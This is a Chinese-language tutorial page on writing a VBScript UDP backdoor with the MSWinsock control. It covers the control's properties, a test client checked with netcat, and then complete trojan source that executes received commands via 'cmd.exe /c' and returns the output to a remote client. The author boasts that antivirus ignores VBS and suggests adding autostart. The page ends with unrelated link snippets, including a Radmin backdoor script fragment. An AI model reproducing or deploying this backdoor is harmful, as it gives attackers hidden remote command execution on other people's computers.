VBS+MSWinsock打造灵巧UDP后门的相关资料_vbs

大概在一年前,VBS脚本病毒又揭起一阵热潮,一大群VBS病毒在互联网上盛行。那时的VBS病毒几乎都是用FSO、MAPI作为一个病毒传染引擎,所以我就想,VBS可否访问网络呢?如果它也能进行端口的连接,那就神奇了。从此之后,我就努力去找有关VBS的网络类的资料,可惜找了好久,什么收获也没有,直到一个月前高考结束了,我才可以静下来搞这个东西,并终于有了一点进展。
现在分析一下VBS的运作原理吧。VBS的全称是“Visual Basic Scripts”,由于VBS是由Visual Basic分离出来的一种面向对象的脚本语言,所以它的语法与Visual Basic差不多,而且也是靠Object来实现它的其它高级功能。只不过是VBS是用Wscript.exe或Cscript.exe来解释的,因此它不需要编译,直接运行就行了,所以这也是VBS脚本做黑客工具方面的特长之一:普通杀毒软件不会对VBS感兴趣。因为VBS是一种面向对象的脚本语言,所以微软的很多ActiveX组件都可以通过“CreateObject(“ObjectName”)”来创建引用,这可能是微软公司的程序接口吧!也许用过VB编写网络程序的朋友也知道,用VB写网络程序大致有两种:一是调用Windows的API函数,二是用VB自带的Winsock控件,也就是在Windows系统目录中见到的“MSWinsock.ocx”。由于前者的API函数比较复杂,很多朋友比较喜欢用VB自带的Winsock控件,不知道大家有没有留意到那个Winsock控件,其实它就是我前面讲的ActiveX组件,它提供了访问TCP和UDP网络服务的方便途径,为编写客户或服务器应用程序,不必了解TCP的细节或调用低级的Winsock APIs。通过设置控件的属性并调用其方法就可轻易连接到一台远程机器上去,并且还可双向交换数据。既然找到了访问网络的引擎,那如何来用呢?用法又是不和VB中那样用呢?
Winsock控件用法大体上是同VB上的一样,但在VBS中,ActiveX控件并不是像VB中那样是可以见到的,要在VBS上引用它当然是先创建它的对象。创建方法就像创建FSO等对像。新建一个文本文件,在里面写入:
--------------------------------------------------
Set Sock=CreateObject("MSWinsock.Winsock")
Sock.AboutBox
--------------------------------------------------
保存为*.vbs运行它,就可以看到注册在你系统中的WinSock控件的有关信息。
怎能么样?开心吧,别急,我下面会详细讲讲。既然对象创建成功了,当然是要像VB中那样用它了。在VBS中创建的WinScok不能像VB中那样图形介面那样设置参数就行,是应该一步一个脚印来设置好你所创的是什么协议。在WinSock控件中要设置的协议是通过“Protocol”来设定的,如sock.Protocol=0 或 sock.Protocol=1。注意当“Protocol”的值为“0”时,所创建的协议是TCP;值为“1”时,则创建的是UDP。
我先介绍一下有关WinSock控件引用的基本方法和事件吧:
LocalHostName //取得本地主机名
LocalIP //取得本地主机IP
SocketHandle //取得创建SOCK的句柄
RemotePort //设置或取得远程端口
LocalPort //设置或取得本地端口
State //返回创建sock的对像状态(代吗如下){
0 缺省的。关闭 
1 打开 
2 侦听 
3 连接挂起 
4 识别主机 
5 已识别主机 
6 正在连接 
7 已连接 
8 同级人员正在关闭连接 
9 错误 }
BytesReceived //返回接收到的(当前在接收端缓冲区内的)数据的数量
Connect(RemoteHost,RemotePort) //建立远程连接,RemoteHost远程主机IP,RemotePort远程主机端口
Listen //使SOCK侦听
SendData/GetData //发送或接收数据
Close //关闭对像
Bind(LocalPort, LocalIP)//绑定本地端口。
那些基本的东西我讲完了,下面我测试一下远程主机会话吧(UDP),下面是一个VBS文件,大家可以试试,代码如下(文件sock-udp.vbs):
----------------------------------------
dim revdata
dim sendata
//创建Winsock对像
set sock=createobject("MSWinsock.Winsock") 
//使用UDP协议
//建立连接
sock.Protocol=1sock.Connect "127.0.0.1",1234
//定义要发送的数据
sendata="Hello!!!"&chr(13) 
//发送我们要发的数据
sock.senddata sendata 
do
//如果有数据回应就显示它
if sock.BytesReceived>0 then 
//定义接收数据类型(数据类型有vbByte、vbInteger、vbLong、vbSingle
//vbDouble、vbCurrency、vbDate、vbBoolean、vbError、vbString、vbArray+vbByte)
//也只有定义好要接收的数据类型才能收到数据,不然会收到的是一堆乱码;
sock.getdata revdata,vbString;
sendata=inputbox (revdata,"RecviedData","请输入你要发的信息")
sock.senddata senddata & chr(13)
//当收到含有"exit"字串时结束VBS进程
if instr(revdata,"exit") then exit do
else
end if
loop
//关闭对像套接
sock.close
------------------------------------------
然后用“nc -u -l -p 1234”监听本地UDP端口1234,再运行刚编写的VBS文件,看!我的NC有反应了。
里面的“MicroSoft (r) Windows Based Script Host”就是我们的VBS主进程了。在NC里我们还可以发信息、聊天,怎么样?一个简单的UDP C/S已经完成了。下面我再写一个关于它的利用吧,既然它能访问网络,当然是用它的做个VBS木马啦!老编们不会反对吧!哈哈,Let's Go!
--------------------------
Dim revdata
set sock=createobject("MSWinsock.Winsock")
set sc=createobject("WScript.Shell")
Set fso =CreateObject("Scripting.FileSystemObject")

sock.Protocol=1 //这个当然是UDP协议的标识啦
sock.bind 1234 //绑定本地的UDP端口

Do
if sock.BytesReceived>0 then
sock.getdata revdata,vbString
if instr(revdata,"exit")>0 then
exit do
else
on error resume next
tempfile="C:\" & fso.GetTempName
'cmd=right(revdata,len(revdata)-4)
cmd=left(revdata,len(revdata)-3)
//利用绑定cmd的输出
call sc.Run ("cmd.exe /c " & cmd & " > " & tempfile,0,True)
Set txf = fso.OpenTextFile(tempfile,1,false,0)
//把输出的文件读入内存,用SendData发送到客户端
sock.senddata txf.readall & vbcrlf & vbcrlf
txf.close
call fso.DeleteFile(TempFile,True)
end if
//嘻嘻,下面是我的版权喔
sock.senddata "--End--" & vbcrlf & "ForHelp exit:end|run:<RunFileName>" & vbcrlf & "Maked by Attrib Data:2004.7.28" & vbcrlf & vbcrlf
end if
Loop
sock.senddata "连接已关闭!" & vbcrlf
sock.close
sock=nothings
-------------------
到此,代码的基本架构已经完成了,要想做一个全能的木马可以在代码里加上诸如开机自动运行等。由于VBS程序没有设置出错保护,可能一些错误的操作会出现程蹦溃,有兴趣的朋友可以自己试试。用法是先把这个VBS后门运行在服务端,之后就用你的NC连,因为用的是UDP协议,NC的命令行是“NC –u IP Port”,记得要加上那个“-u”参数啊,之后就像WinShell一样用就行了,下面是在我的机器里测试的截图。

至于TCP如何编写,道理也跟UDP差不多,我这里就不再多写了,大家可以自己研究下。
如果有什么好的方法还可以和我一同研究。谢谢观赏。

时间: 2024-11-17 20:58:00

VBS+MSWinsock打造灵巧UDP后门的相关资料_vbs的相关文章

Vbs脚本实现radmin终极后门代码_删除自身_vbs

复制代码 代码如下: on error resume next  const HKEY_LOCAL_MACHINE = &H80000002  strComputer = "."  Set StdOut = WScript.StdOut  Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_   strComputer & "\root\defaul

c++的问题-vc下链接时出现Gcicle未声明怎么解决,查了相关资料无法解决呀

问题描述 vc下链接时出现Gcicle未声明怎么解决,查了相关资料无法解决呀 程序的代码如下,希望大家帮忙看一下,谢谢! #include #include void DrawCicle(int x,int y,int r=10) { GCircle(x,y,r); } int main() { DrawCicle(0,0); DrawCicle(100,125); DrawCicle(50,20); DrawCicle(70,25,20); return 0; } 解决方案 GCircle函数

slq server、oracle、mysql学习相关资料

问题描述 slq server.oracle.mysql学习相关资料 想学习数据库,有没有推荐slq server.oracle.mysql学习相关资料.书籍.网站 解决方案 51ctoverycd脚本之家verydemo这些网站有视频和资料,你可以自己进去找的: 如果回答对您有帮助请采纳 解决方案二: http://wenku.baidu.com/view/f3ac9d0b79563c1ec5da711d.html

vs2010与单元测试-VUisual Studio2010单元测试相关资料

问题描述 VUisual Studio2010单元测试相关资料 各位大神们,我是做软件测试的,想学习VS做单元测试,帮忙介绍点VUisual Studio2010单元测试相关资料吧.谢谢 解决方案 如果是c++的话建议使用gtest框架进行单元测试,是google出的开源的单元测试框架,如果是c#的话unitest挺方便的

mountebank-Mountebank自动化测试工具的相关资料去哪里找???

问题描述 Mountebank自动化测试工具的相关资料去哪里找??? 急需Mountebank自动化工具的相关资料,哪位大神可以支援一下 解决方案 google下看看呢

指令-cpu开发需要什么知识有相关资料么

问题描述 cpu开发需要什么知识有相关资料么 开发复杂指令集的cpu需要具有什么知识,还有晶体管的逻辑是怎样形成的,有相关资料么? 想了解下 谢谢了 解决方案 开发一个cpu表面上看是设计硬件,其实是设计软件.现在有那种可以编程的芯片(我们管它叫fpga/cpld),你只要用vhdl语言设计好逻辑就可以得到cpu了. 用来开发vhdl的软件有很多,比如maxplus 解决方案二: 关于晶体管的原理,这个<数字组合逻辑电路>教科书上都有,自己可以去看,属于物理学的范畴了. 大体上来说,晶体管构成

求sun认证java程序员的相关资料

问题描述 谁有sun认证java2的相关资料sl-275,是关于jdk1.5或1.6版本的.有意者请发给我的邮箱qq:879642375.谢谢了. 解决方案 解决方案二:同求.

求javabean连接数据库的相关原理或者各种相关资料

问题描述 求javabean连接数据库的相关原理或者各种相关资料,字数越多越好-写材料用 解决方案 解决方案二:搜下:jdbc连接数据库解决方案三:好的-谢了

求wcf和wpf相关资料和案例教程

问题描述 求wcf和wpf相关资料和案例教程 解决方案 解决方案二:我也是呀,csdn上连这么一个网站都没有,苦恼解决方案三:百度都不会用?转行算了解决方案四:楼上的,你从来没问过问题吗,google会用吗,为什么不转行?我问问题之前有三个步骤.一,先MSDN二,再google,(百度只适合搜歌)三,技术群上问下.找了一圈那些教程都不完整,不太满意才过来问的解决方案五:这种一搜一大把的东西都找不到说明智商不够用解决方案六:还是买书比较好一点